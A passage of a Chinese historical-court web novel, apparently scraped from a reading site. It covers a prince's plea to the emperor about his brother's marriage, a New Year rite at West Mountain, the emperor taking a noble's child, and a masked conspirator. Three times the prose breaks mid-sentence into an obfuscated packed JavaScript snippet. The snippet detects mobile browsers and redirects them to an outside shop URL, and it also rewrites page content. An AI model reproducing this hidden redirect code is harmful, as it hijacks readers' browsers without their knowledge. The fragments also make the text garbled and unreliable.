魏晗远想了想,十分坚定地点了点头,“嗯,我确信,我从来没有这么喜欢过一个人。” 他抬眸,望向天边那一大片绚烂瑰丽的云霞,声音渐次变得温柔起来,“那天,她穿着柳绿鹅黄的衣裙,整个人沐在光里,像是一只百灵鸟,飞出高高的宫墙,飞向自由浪漫的远方。” 魏晗远平素很少笑,可是现在,他回忆着和她初见的场景,眉毛不自觉的弯了起来,“哥,我长了这么大,总是为很多事情苦闷,可我却从来没有想过自己到底想要什么,是她告诉我,要问自己的心,才能明白,自己到底想要什么样的人生。这段时间,我认真思索了一下,才发觉原来自己的生活是这么幸福,有母妃的疼爱,有哥哥的照顾,不必为了衣食发愁,不必为了性命担忧,原来,我从前的那些愁啊恨啊,是那么的无理取闹和不值一提。她站在光里,她把这光也照在了我的心上,若是能和她携手一生,那该是一件多么幸福快乐的事情啊。” 肃安王看着魏晗远灿烂的笑容,忽而想到了自己,想到了那个雪虐风饕的夜晚,想到了悠悠死前和他说的最后一句话,“你不要皱眉……皱眉……很难看……” 肃安王的喉结滚动了一下,他仰起脸,呆呆注视着天上流动的暖阳,过了片刻,他重新看向魏晗远,僵硬地牵起嘴角,冲他笑了笑,“远儿,你放心,我一定让你得偿所愿。” 魏晗远惊喜不已,“真的吗!” “当然是真的,哥什么时候骗过你呀,我这就去求见皇上,你等我的好消息。” 肃安王飒然而起,经过处,行动如风,还没等魏晗远从欢喜中回过神来,他已经走远了。 魏晗远迟了几分钟,后知后觉地站起身大喊,“哥,你别为难,我不是非要娶她不可的。” 肃安王没有回身,只闻铮铮的声音回荡在天尽头,“放心!” 魏晗远目送着他的背影,过了许久,他才慢慢地坐了回去。 正午已过,太阳向西微微偏了偏,他吹着冷风,絮絮念着,“一曲秋风词,问君知不知。” 常德宫。 秦川见魏晗烨醒了,连忙上前服侍他穿靴,“陛下睡得可还安稳?” 魏晗烨淡淡“嗯”了一声,其实他睡得并不安稳,因为他梦见了席容烟。 魏晗烨屈指揉了揉太阳穴,“秦川,肃安王说没说,打算什么时候出发去西域?” 刚才肃安王求见,秦川问明来意,知道这事儿不好回话,因着魏晗烨正在小憩,他便拖了一拖,让肃安王在殿外等候,他琢磨来琢磨去,正在为难怎么回肃安王的事,这会子见魏晗烨问,忙不迭道,“回陛下,肃安王正在殿外候着呢。” “朕好像没传他啊。”魏晗烨看着秦川吞吞吐吐的样子,问道,“他求见朕,所为何事?” “这……似乎是为了哲远王的婚事。” “晗远的婚事?”魏晗烨想了想,“罢了,请肃安王进来吧。” “是。” 不一会儿,肃安王大步流星,走进殿中,他跪下行礼道,“臣,参加陛下。” 魏晗烨笑着扶他起来,“兄长请起,来,这边坐。” “谢陛下。” 二人坐定,魏晗烨道,“听秦川说,兄长是为了晗远的婚事而来,不知兄长看中了哪家姑娘?” 肃安王抿了抿唇,重新跪了回去,“请陛下恕罪!” 魏晗烨微微抬臂,却并未起身扶他,只是问,“兄长你这是做什么?” 肃安王磕了个头,“陛下恕臣无罪,臣才敢说。” 魏晗烨爽快道,“好,朕恕你无罪,你说吧。” “远儿喜欢上了苏家姑娘,臣知道,这位苏姑娘是太后娘娘为陛下选中的,可臣实在是不忍心看远儿难过,臣也是经历过的人,臣知道,人这一生能遇到一个喜欢的人有多不容易,臣更知道,人这一生能和喜欢的人在一起,将会是多么快乐,臣只是希望远儿能够快乐。” 魏晗烨望着肃安王,嘴角浮出淡淡一丝笑意,“兄长,你起来吧。” 肃安王闻言,抬眼看向他,“陛下……” 魏晗烨笑了笑,“朕准了。” 肃安王不敢相信,魏晗烨就这么轻易地答应了他的请求,一时又惊又喜,“臣,谢陛下隆恩!” 魏晗烨略一抬手,示意肃安王起来,他语气轻松地说,“兄长刚刚说得那么严重,朕还以为出了什么事儿呢,没想到竟是为了这个。” 肃安王掀袍坐下,爽直道,“苏姑娘毕竟是太后娘娘给陛下定好的人选,臣若不是不想让远儿难过,又怎么敢横刀夺爱,这件事,实在是臣失礼僭越了。” “嗐,这有何妨,不过是母后的意思罢了,朕又没想娶她,说起来,朕还要谢谢兄长,帮朕解决了这个难题。不过,有言在先,朕虽然允了你的请求,可也要看苏姑娘自己的意思,苏方对这个女儿很是宠爱,她若执意不嫁,朕也不好为难她,朕不能伤了臣子的心呀。” “这个自然,不过臣私心想着,远儿既然开口向臣提起此事,料着他们应该是两情相悦。” “哈哈哈,晗远一向寡言少语,跟个闷葫芦似的,朕倒没想到,他也有了这份心思。” 肃安王也笑起来,“是啊,他今日说起此事的时候,臣先是一愣,而后一喜,又是一忧,喜的是,他终于长大了,不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502806|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是从前那个什么都不懂的小孩子了,自然而然就知道追求自己喜欢的人了。忧的是,这种感情并不是召之即来,挥之即去的,它是十分难得的,却也注定是百分之百会带来痛苦的,唉……”肃安王叹口气,摇摇头,“我说不清了。” “是啊……”魏晗烨出了一会儿神,展颜道,“那么兄长呢,兄长没有喜欢的姑娘吗?” 肃安王脸上的笑容在一瞬间凝固,过了片刻,他像是想起了什么,紧锁的眉头复又舒展开来,他勉力一笑,诚恳地说,“臣惟愿将此生献给沙场,守我大魏边疆,护我大魏子民,男女之情,哈哈,恐怕是与臣无缘了。” 魏晗烨轻轻一叹,肃安王和悠悠的事儿,他多少也知道一些,眼下见肃安王如此,心中不免为他难过,劝道,“仗总是打不完的,敌人也是杀不光的,兄长为大魏戎马倥偬,建功无数,朕怎么忍心让兄长一直孤零零一个人,无妨,好姑娘总会有的,朕为你留意便是。” 肃安王摇头道,“姻缘之事,皆属天意,决非人力可以勉强,一辈子一个人,无牵无挂,也蛮好。我若是不喜欢人家姑娘,只是为了成个家,把人家娶进门,且不说我能不能从沙场活着回来,我们就算睡在一起,吃在一处,也是同床异梦,我岂不是误了人家姑娘的一生。” 魏晗烨听了这话,心中不由得一动,肃安王所言,他又如何不明白呢,说起来也是好笑,他连自己都劝不了,居然还想着去劝别人。 “朕明白兄长的心意了,兄长放心,朕从今以后,不会再提这件事了。” 肃安王微微一笑,“多谢了。” “欸,你为大魏守着江山,合该是朕谢你才是,对了,兄长预备什么时候启程前往西域?” “还有几车粮草未到,不过也快了,约莫着就在这几日吧,等东西都齐备了就走。” “嗯,天冷了,兄长多带些御寒的衣物,秦川。” “奴才在。” “你去把那件带着大风领的乌云豹氅衣取来,朕要把它送给肃安王。” “是。” 肃安王拱手道,“那臣就却之不恭了。” “兄长客气了,哦对了,出宫前,兄长记得去一趟隆寿宫,母后有东西要请兄长捎带给在玉门关驻守的霍翰羽。” “好。” 一时秦川捧了氅衣过来,肃安王只扫了一眼,便知道这衣裳是个稀罕物件儿,他一挥臂,当场将氅衣披在了身上,不过片刻功夫,便觉得浑身上下热了起来,几乎要流出汗来。 肃安王脱下氅衣,赞不绝口道,“真真是个宝贝!” “好马配好鞍,好衣配英雄,这大氅穿在兄长身上,才不算被辜负。” “多谢陛下,臣一定不辱使命!” “西域生变之后,这还是兄长第一次和西域的新汗王坐下来打交道,兄长千万要当心。” “嗯,陛下放心,时候也不早了,臣先告退了!” “兄长慢走,秦川。” “奴才在。” “去送一送肃安王。” 秦川弓着身子,恭敬地把肃安王往门外引,“王爷您请。” 肃安王冲魏晗烨点了下头,便抬步出去了。 99. 稚子又何辜 大魏旧俗,每年元日前夕,皇帝都要携文武百官以及后宫诸人去西山为国祈福。 魏晗烨换上了庄重繁琐的吉服,命人去请魏太后。 不一会儿,魏太后派丫鬟传了话来,说自己晨起身上有些乏,就不去了。 魏晗烨对着铜镜正了正头上的衮冕,闻言唯一颔首,“那就让母后在宫中好生歇着罢。” 因为苏蕙菁一事,魏太后心里存了不痛快,魏晗烨去隆寿宫求见了好几次,都被云英给挡了回来,他原本是想借着祈福的事儿,同母后缓和缓和关系,没想到她又拒绝了。 魏晗烨想了想,吩咐秦川,“你让周坤一会儿去给母后瞧瞧,开些药膳也是好的。” 秦川应了声“是”,随即出去找人传话。 袁青佩剑而入,“陛下,车马随从都已齐备,随时可以动身。” 魏晗烨看了眼镜中形容,并无不妥之处,便说,“走吧。” 十六人抬的礼舆宽敞明亮,明黄色的帷幄绣着精致耀目的金龙,礼舆四柱皆以蟠龙装饰,袁青和秦川一左一右,紧紧跟在轿子两侧,后面则是大批的侍从护卫。 额前十二道旒紞随着车马颠簸轻轻摇晃,魏晗烨定定瞧了一阵眼前的十二颗赤黄青白黑五色相间的玉珠,心中略感疲惫,这衮冕太沉,这担子太重,压得他快喘不过气了。 他坐在这个万人之上的位子上,坐得越久,便越觉得孤单,这是一种高处不胜寒的滋味。 那日,肃安王跪在他的面前,他下意识伸出了手,可最终却并没有扶起他,只是静静地坐在那里等着肃安王的下文,那一刻,魏晗烨便已明白,伸手的是魏晗烨,坐着的却是大魏皇帝,如果只能留下一个身份,那他便只能是大魏的皇帝。 秦川的声音从轿外传来,“陛下,咱们到了。” 魏晗烨单手挑开帘子,但见烟岚云岫,巍然屹立的西山霎时映入眼帘。 没有人知道这座山究竟存在了多久,便是山上的六净寺也已经有了百余年的历史。 魏晗烨走下礼舆,凝望着上千个逶迤而上的青石板,心下不由一叹,“朝代更迭,天下兴亡,任凭世间风云如何变幻,亘古不变的唯有此物而已。” 他没有让秦川扶他,而是自己一步一步,心怀虔诚地走上西山。 三乘大师在山门处迎他,“阿弥陀佛。” 魏晗烨亦是双手合十,“听闻大师云游去了,没想到今日竟能在此见到大师,真是幸事。” 三乘大师语调一如既往的平和,“原本是打算离开一段时间的,只是想着这是施主登基后第一次来西山祈福,便又多留了几日。” 魏晗烨诚恳地说,“多谢大师。” 三乘大师笑了笑,身体微侧,让出一臂,“施主请。” “请。” 祭祀祈福的灵坛已然设好,上列两张桌案,一张面东,一张面西,另有一架金钟面北,一架玉磬面南,其余乐器、舞者、乐者若干。 魏晗烨微一点头,示意可以开始了。 随着九下击柷的声音响起,穿紫袍戴紫冠的舞者一手执矛,一手持盾,在坛上翩然起舞。 他带着敷彩上漆的面具,眼神肃穆,舞姿庄重,每个步子都踩在钟磬的乐律上,分毫不差。 一时,舞毕,击敔奏止音。 钟磬之声渐止,魏晗烨执盏登坛,朝正东的方向躬身拜了一拜,在场之人都跟着跪下,唯有三乘大师面色淡然,遗世独立。魏晗烨将酒倾洒于案前,随即将空的杯盏放回托盘之中,重新取了一盏酒,转身朝西,重复了一遍刚才的动作。 风将坛上的酒吹干,三乘大师缓步登坛,他的面色沉静,语调清朗,凝声宣读起祭歌: 吉日兮辰良,穆将愉兮上皇; 抚长剑兮玉珥,璆锵鸣兮琳琅。 瑶席兮玉瑱,盍将把兮琼芳; 蕙肴蒸兮兰藉,奠桂酒兮椒浆。 扬枹兮拊鼓, 疏缓节兮安歌,陈竽瑟兮浩倡。 灵偃蹇兮姣服,芳菲菲兮满堂; 五音纷兮繁会,君欣欣兮乐康。[1] 他念一句,众人就跟着念一句,直到所有句子都念完了,众人才慢慢地站起身来。 三乘大师道,“恭请天子饮福,乐起。” 魏晗烨面朝百官,端起托盘上的最后一盏酒,小口小口饮下,乐者齐声唱了起来,一时,歌毕,魏晗烨手中的酒也正好饮尽了。 方才的领舞者捧来一张桃木弓,沉声道,“请陛下射鬼。” 伴随着祭歌的余韵,他的声音听起来有些阴森古怪。 不过魏晗烨并没有多想,他张弓搭箭,射向虚空。 三乘大师只抬头看了一眼,便称,“邪秽已除,焚祭品,敬诸神。” 坛下按序排开的僧众口口相传,“焚祭品,敬诸神。焚祭品,敬诸神。焚祭品,敬诸神……” 距离灵坛百余步的地方有一座燎炉,炉边的人听到了传来的“焚祭品,敬诸神”的声音,便将早就备好的各色贡品抛入炉中,但见白烟滚滚,红光升腾。 三乘大师于是高唱,“礼成,拜!” 众人复又跪下,口中直呼,“吾皇万岁万岁万万岁!” 祭礼这就算结束了,三乘大师陪着魏晗烨走下灵坛,“施主可要即刻回宫?” “朕想去瞧瞧皇祖母。” 三乘大师点头道,“好,那我去安排些斋饭,等下一道给施主送过去。” “那就有劳大师了。” “施主有礼。” 说罢,三乘大师合掌而去。 太皇太后不喜热闹,故而没有参加方才的祭礼,魏晗烨到时,她正歪在榻上,和方承鹤说话解闷,见他来了,方承鹤脸上的笑容稍稍凝固了一下。 魏晗烨行礼道,“孙儿见过皇祖母。” 魏晗烨虽然政务繁忙,不能亲来看视,但他经常命人送来各样补品膳食,还有各地进献的稀罕物件儿,因此太皇太后对这个久未谋面的孙子还是有些好感的。 太皇太后和颜悦色道,“陛下来了,安然,去取哀家去岁存的那罐茶来。” 安然应声而去,方承鹤赶着起身行礼,“微臣参见陛下。” 方承鹤在朝中不过挂了一个虚职的名头,像祭祀祈福这等大事,自然是不需要他到场的。 魏晗烨对方雪岩没什么好感,连带着对方家的人也是淡淡的,不过他知道皇祖母很疼爱方承鹤这个侄子,于是便冲方承鹤点了下头,“仰山也在啊。” 魏晗烨贵为九五至尊,对方承鹤直呼其名即可,但他却唤其“仰山”,以示亲厚之意。 方承鹤如何不明白,他面上立刻表现出受宠若惊的神色,“是,臣来陪陪姑母。” 太皇太后自然是乐见他们二人和睦相处的,于是笑道,“都别站着了,来,一块儿吃茶。” 魏晗烨掀袍,挨着她坐下。 因着魏晗烨在场,方承鹤并不敢坐,只是垂着手,站在一旁。 魏晗烨瞥了他一眼,“皇祖母让坐,你也便坐吧,都不是外人,不必十分拘礼。” “是。” 方承鹤这才挨着太皇太后,在榻的另一边坐了。 魏晗烨端起素白茶碗,浅浅抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502807|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一小口,赞叹道,“西山果然是钟灵毓秀的所在,便连这儿的茶浸润得久了,也都染上了超凡脱俗的气味。” 太皇太后笑了笑,“你要是喜欢,哀家把这罐茶尽数送你便是。” “那敢情好,那孙儿就多谢皇祖母了。” 几人正说着话,忽然听见殿外传来一声清脆嘹亮的童音,“皇祖母~~” 魏晗烨讶异地抬头张望,见是一个不过一两岁的小孩儿手脚并用,蹒跚着爬进殿门。 方承鹤连忙跑过去,把那小孩儿抱了起来。 魏晗烨疑惑道,“这个孩子是——” “回陛下的话,这是微臣的孩子。” “哦?朕怎么不知道,这是几时的事?” “嗯……”方承鹤有些不好意思,“这孩子是外室子,所以臣也不好声张。” 魏晗烨心下了然,“原来如此。” 朝中官员多有外室,这不是什么稀罕事儿,魏晗烨自然不会在意这个,不过,甘愿为人外室的女子一般都是烟花柳巷之流,朝中官员顾忌着自己的声名,不过是养着她们玩玩罢了,为了不生出事端,断然不会给她们留下子嗣的机会,能允许外室生下自己的孩子,可见这个孩子的生母在方承鹤的心中应该是有一席之地的。 “这孩子刚才叫皇祖母什么?也是,皇祖母?” 方承鹤紧张得舌头都打结了,“小,小孩子嘛,什么都不懂,胡乱叫的。” 这个小孩儿浑然不觉自己闯了天大的祸事,又冲太皇太后甜甜地喊了一声,“皇祖母!” “欸,乖,来皇祖母这里。”太皇太后笑着冲他招招手,方承鹤急忙把孩子抱给了她。 太皇太后笑得极是慈爱,她一边逗弄着怀中的小娃娃,一边解释,“这孩子和哀家有缘,一看见哀家呀就知道笑,哀家膝下寂寞,见他这么可爱,就把他抱到自己身边养着了。哀家本来是想教他说‘皇姑奶奶’的,可不管哀家怎么教他,他都学不会,后来有一天啊,哀家让安然读你送来的信,读到‘皇祖母’时,这个小孩儿的眼睛啊,一下子就亮了起来,第二天早上,哀家睁眼看见他趴在床边,刚想问他怎么了,他就脆亮脆亮地唤了一声‘皇祖母’,哈哈哈,给哀家乐坏了,哀家也懒得纠正他,索性就一直这么叫了。” 方承鹤小心观察着魏晗烨的神色,见他并没有动怒的意思,心下这才稍稍安稳了一些。 “都是臣教子无方,臣回去一定好好管教这个逆子,不叫他再说出这么失礼的话来。” 魏晗烨脸上挂着一抹玩味的笑,他就这么好整以暇地注视着方承鹤,过了好一阵儿才说,“算了,小孩子懂什么呀,还不都是大人教什么就是什么。” 方承鹤慌了神,赶紧跪下,“陛下,微臣绝对没有教过他说这样的话,陛下明鉴啊。” “仰山你慌什么,朕也没说是你教的呀,不是皇祖母教的吗。” “啊……对……是……”方承鹤抬袖拭了拭脑门上的汗,明明已是冬日,他却热得发慌。 气氛有些尬尴,太皇太后悠悠开口道,“行了,不就是个称呼吗,什么大不了的事儿呀,承鹤,你起来,别跪着了。” 方承鹤偷偷瞄了一眼魏晗烨,见他没有阻拦的意思,这才站起身来。 魏晗烨笑道,“皇祖母说的是,不过就是个称呼罢了,只是,”他话锋一转,“皇祖母既然喜欢这个孩子,何不把他认作养孙,这样不就两全其美了吗。” 太皇太后听得有些糊涂,她重复了一遍,“养,孙?” 方承鹤在一旁站着,敛眉不语,他不知道魏晗烨到底在打什么算盘。 100. 怀璧即是罪 “是啊,养孙。”魏晗烨笑了起来,“朕也觉得这个孩子生得玲珑剔透,很合朕的眼缘,所以,朕想把他养在宫里,为了名正言顺,就让他认您为皇祖母吧,这样称呼也不必改了。一则,这孩子的生父是您的侄子,这孩子叫您皇祖母,若让外人听见,传了出去,总是不妥,如此一来,也就名正言顺了。二则,自从先帝去后,宫里一直冷冷清清的,有个孩子能热闹不少。这第三嘛,”魏晗烨意味深长地瞥了方承鹤一眼,继续说道,“这孩子毕竟是外室所出,就这么一直不明不白地养在外面,岂不是耽误了孩子的一辈子,仰山,你说是不是。” 方承鹤这回总算是听明白了,魏晗烨这是想把这个孩子攥在手心里,以此来要挟自己,方承鹤心中暗暗冷笑,哼,他说得倒是好听,什么太皇太后的养孙,可实际上呢,他只要没把这个孩子认作义子,这个孩子就和皇位一点关系都没有,不过就是他魏晗烨养在宫中的一个质子罢了。 可方承鹤不敢不答应,魏晗烨既然说了这番话,想必是已经对他起了疑心了,他若是执意不松手,纵然太皇太后能帮他留住这个孩子,也定然会让魏晗烨更加怀疑自己,所以,为长远计,他必须舍出这个孩子,才能套住他想要套住的“狼”。 太皇太后显然有些不高兴了,“皇帝,你这是什么意思,哀家的养孙反而不能养在哀家的身边,还要送进宫里,天下哪有这样的道理。” “皇祖母莫急,朕还没有说完呢。”魏晗烨站起身来,冲太皇太后行了一礼,“正所谓,尊亲之至,莫大乎以天下养。皇祖母久居宫外,这让朕心中很是不安,朕已经命人将宝华宫修缮一新,皇祖母礼佛所需器物均已齐备,希望您能成全孙儿的一片孝心,搬回宫中居住吧。”[1] 此言一出,不光方承鹤心中一惊,便是太皇太后也有些始料未及,她沉吟道,“哀家知道你的孝心,可是哀家老了,眼睛里揉不得沙子,宫里是什么样的日子,哀家也不是没经历过,哀家不想看见那些乌七八糟的事儿,更愿意在这个清净的所在颐养天年,希望皇帝体谅。” 方承鹤仔细想了想,念头一转,恭敬道,“陛下若是喜欢小儿,只管带入宫中解闷便是,只是姑母既然不愿进宫,还请陛下不要勉强,臣想着,不妨每月让小儿来六净寺一次,这样既为宫中添了热闹,也不会让姑母觉得膝下寂寞,陛下以为如何?” 魏晗烨自知劝不动太皇太后,不过是想借着回宫的由头,让她打消留下这个孩子的念头,眼下见方承鹤如此说,欣然应允道,“就按仰山说的办罢,对了,这个孩子可有名字?” 方承鹤道,“小儿年幼,又一直养在外面,臣还没来得及给他取名,不知陛下可否赐个名字给他,也能增一增他的福泽。” “朕正有此意。”魏晗烨俯身揉了揉他的小脸,“朕瞧这孩子生得是个福相,又和佛法有缘,记得一位禅师曾有‘瑞草蒙茸含月秀,寒松蓊郁出云青’之颂,便取‘云青’二字,皇祖母觉得可好?”[2] 太皇太后略加思索,“云青,白云之上有青冥,意境旷远随静,又有平步青云的好意头,的确是个好名字,承鹤,你觉得呢。” 方承鹤闻得“月秀”二字,一时怔了怔,连太皇太后的问话都忘了回答。 这孩子原是方承鹤和红翠馆的月娘所生,那日花好月圆,正值上元佳节,他侥幸摘得了月娘的灯牌,又猜出了上面的谜底,成为月娘那晚的座上宾,帷中客。 月娘轻拨月琴,一曲便让方承鹤彻底沦陷,而他出身高贵,谈吐不凡,同样也赢得了月娘的芳心。 自那以后,方承鹤常去红翠馆听月娘为他抚琴,而月娘也一改往日骄矜,只要是他来听曲,不论什么时候都是有求必应,就这样,二人渐生情愫,方承鹤最后将月娘从红翠馆赎了出来,安置在一处别院中。 他很爱月娘,却也知道,以月娘的身份,她这辈子都不可能踏进方家的大门,他能做的就是给月娘留个孩子,留个依仗,可他没有料到,这件事很快就传到了方雪岩的耳朵里。 方雪岩听说月娘生的是个男孩,便让他去母留子,将孩子抱回府中。 方承鹤自然不舍得,可他每天也有很多事情要处理,不可能日日夜夜留在别院保护月娘他们母子,他思来想去,最后抱着孩子来西山找了太皇太后,他知道,这世上也就只有太皇太后能制住他的父亲了。 太皇太后听说月娘是烟花女子,本不欲管此事,可当方承鹤把这孩子抱到她跟前的时候,她的心不由得化了。 这孩子生得实在是太可爱了,他那时尚在襁褓之中,连眼睛都还没完全睁开,就知道冲她咧着嘴笑。 太皇太后因为和先帝不睦,被逼着搬进西山礼佛,这一住就是许多年,她已经很久很久没有见过小孩子了,这个孩子的笑容捂热了她的那颗死寂冰冷的心,她的母爱被重新唤醒,她最终接纳了这个孩子和这个孩子的母亲,给了他们一处容身之所。 方承鹤在心中默默呢喃着,“月秀……云青……月娘,你一定会喜欢这个名字的吧。” 太皇太后没有等到他的回应,觉得有些奇怪,“承鹤?” “啊……”方承鹤理了理思绪,拱手道,“的确是个好名字,多谢陛下赐名。” 方云青的事情告一段落,安然捧了斋饭过来,太皇太后便招呼他们两个坐下吃饭。 方承鹤推辞道,“臣怎么敢和陛下一处用膳,姑母,陛下,臣就先告退了。” 太皇太后本想留他一留,后来转念一想,也怕生出什么是非,只得作罢,“也好,去吧。” 方承鹤行过礼,又转头认认真真看了那孩子一眼,便躬身退了出去。 他揣着心事,经过佛殿前的时候也没留意脚步响,冷不丁见浮屠后面转出来个人,不禁吓了一大跳,“你——” 这男子身穿紫袍,头戴紫冠,脸上还戴着祭祀面具,正是方才在灵坛上领舞的那人。 “你怎么在这儿?” “我怎么不能在这儿。” 方承鹤不愿同他多费唇舌,更不想引起别人的注意,赶紧拉着他走到一个僻静的角落。 男子扫了他一眼,“出什么事儿了?你怎么愁眉不展的?” “皇上把我儿子抢走了。” 男子挑了挑眉,“难道他知道了我们的事?” “应该还没有,我觉得他只是在试探我。” “那就好。” 方承鹤才失了孩子,心里正在郁闷,这会子见男子丝毫没有安慰自己的意思,不觉怒从中来,“好什么好?!你这个人长没长心啊,我孩子都被人抢走了,你还说好?!” 男子愣了愣,随即笑起来,“那你说,我应该说什么,我说什么有用吗?”他默了片刻,缓声道,“而且,父母与子女之间的缘分未必就是好的,有善缘便有恶缘,你又怎知,你的孩子不是你的劫难,又或者,你不是你的孩子的劫难呢?” 方承鹤不耐烦地挥了挥手,“行了行了,你还是闭嘴吧。哦对了,你还没告诉我呢,你让我费了这么大的力气,把你定为祭祀祈福仪式上的领舞,到底是为了什么?” “为了……见他一面……” 方承鹤的眉头越皱越紧,“就只是,为了见他一面?” “不然呢?” 方承鹤冷笑一声,“哼,行,我看你压根不是诚心和我合作,你就是个疯子,疯子!”他气愤地一甩袖子,转身便要离开。 男子也不拦他,只是悠悠开口道,“此物,便是我的诚意。” 方承鹤不自觉停下脚步,回头瞥了一眼他手中提着的物件,他呆了两秒,随即快步返回,将那东西放在掌心细看。 “这是……这难道是……” 男子五指并拢,将那东西重新收了起来,“不错,这回你可以相信我了吧。” 方承鹤狐疑地上下打量着他,“你怎么会有血玉?你究竟是什么人?” “我是什么人,哈哈哈,我是孤魂野鬼……” 男子桀桀大笑,把方承鹤吓出了一身冷汗。 男子笑够了,沉声道,“我是谁并不重要,重要的是,我可以帮你完成你想做的事情。” 方承鹤有些迟疑,“那么事成之后,你想要获得什么?高官?厚禄?女人?还是什么?” 男子摇摇头,“别猜了,我什么都不想要,也什么都不需要。” 男子的脸上带着面具,方承鹤看不清他的表情,只能从两个孔中瞧见他露出的那双眼睛。 方承鹤看着那双眼睛,心跳不自觉加快,那是一双十分恐怖的眼睛,这种恐怖不是源于什么狰狞的目光,什么狠毒的神色,恰恰相反,这种恐怖源自于死一般的平静。 男子的眼眸漆黑,仿佛一潭望不到底的死水,无波亦无澜。 鬼使神差的,方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502808|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承鹤飞快地伸出一只手,试图摘下男子脸上的面具。 男子的眼神依旧是那么平静,他敏捷地避开方承鹤的手,一个旋身便将方承鹤制服了。 方承鹤的面色更加苍白,他费力地扭过头,不可思议地盯着男子的眼睛,声音因为过度惊恐有些发颤,“你方才用的招数来自大内!你是宫里的人!” 男子没有作声,手上的力道却是微微加重,方承鹤顾不得疼痛,他想起了男子方才给他看的那个东西——那是一块血玉,玉的底部雕刻有繁复华丽的花纹,方承鹤曾经见过类似的一块玉佩。 当时,他的姑母被先帝强迫搬去西山礼佛,整个宝华宫都被禁军围了起来,禁军身上佩戴着的的玉佩与男子的这一块纹理脉络十分相似,唯一有所不同的,就是禁军的玉佩是黑色的,而男子的这一块是红色的。 他的姑母曾经和他讲过,这玉佩是禁军同皇室结下的生死玉,只要结下此玉,禁军便要誓死效忠皇室,佩黑玉者为仆,掌血玉者为主,而有资格执掌血玉的人只有当朝的天子和未来的储君,便是他的姑母都没资格摸一摸那块血玉。 短短一瞬间,方承鹤脑子里闪过了许多念头,难道他是魏晗烨安排在自己身边的卧底,他假意和自己合作,其实是为了摸清自己的底细,将自己还有相关人等一网打尽? 难道他是禁军里的人,盗走了血玉,想要打破生死结,起兵谋反? 可他方才使出的招数,虽然和禁军极为相似,却也并不完全相同,他的手速更快,下手更狠,这样的功夫只有禁军中地位较高的人才能掌握,可如果他真的在禁军中担任要职,就这么偷了血玉跑出来,又怎么会没有人追杀他呢? 他让自己把他替换成祭祀大典上的领舞之人,这一点不难做到,难的是他如何在这么短的时间内就掌握了舞蹈要领,每个步骤都分毫不差,对祭礼流程更是十分熟悉,没有露出一丝一毫的破绽,除非天赋异禀,不然,他必须在六净寺学习观摩很长一段时间才能做到,可他如果真的是禁军中人,又怎么有时间离开皇宫,神不知鬼不觉地来西山呢? 想知道他是谁,最好的办法就是知道他想要什么,可是他什么都不要,这实在是太可怕了。 “你到底是谁?” 男子似乎是笑了一下,声音中掺杂着散不尽的阴霾,“我是……孤魂野鬼呀……” 虽然这个回答太过离谱,可是这一刻,方承鹤几乎真的相信了他的话,是啊,这世间能悄无声息做到这些的,恐怕只有鬼了吧。 方承鹤听到自己的牙齿在咯吱咯吱地打架,“鬼,鬼也能和人一样生活在太阳底下吗,阎王不会把鬼捉回去吗,留在人世间的鬼也会有所求吗?” “当然。”男子很认真地回答道,“人死之后,如果有放不下的执念的话,就会徘徊在人世间,直到了结了这份执念,才能安心死去,再世为人。” 方承鹤终于找到了突破口,他鼓足勇气,试探着问,“那么,你的执念又是什么呢?” “我的执念吗……”男子想了很久很久,最后一字一顿道,“魏,晗,烨。” 山门。 三乘大师送走了魏晗烨,才一回身,便见方承鹤站在自己身后,似有话说。 方承鹤双手合十道,“阿弥陀佛。” 三乘大师回了一礼,“施主有何烦忧?” 方承鹤吞吞吐吐地说,“大师,你说这世上有鬼吗?” “施主为何这样问?” “那个,方才祭礼上不是有射鬼的仪式吗,我心里有些好奇,就想找大师顺便问问。” “原来如此。”三乘大师淡淡一笑,平和道,“有处不是有,无处不是无。”[3] “我……没听懂,还请大师直言。” 三乘大师叹了口气,“有鬼无鬼,其实只在人心罢了,一个人若是心中生了贪念、妄念、恶念,鬼祟便会在他的心中扎根,所谓射鬼、驱鬼,其实都是为了修自己的心。” 方承鹤似懂非懂地点了点头,“所以说……有处不是有,无处不是无。”[3] “念力增上,施主若是为鬼怪所扰,不妨积善除恶,多修正念、道念、净念,摒除妄念、邪念、欲念,长此以往,鬼怪自然不敢近施主的身。” 方承鹤拜谢道,“阿弥陀佛,我记住了,多谢大师指点迷津。” 三乘大师颔首一笑,合掌而去。 101. 肃安王三约 西域。 肃安王一行人到时,寒星已经率人在帐外候着了,他身上披着的苍蓝色裘皮大氅在风中猎猎作响,“哈哈哈,久闻肃安王大名,本汗今日总算是见到你了!” 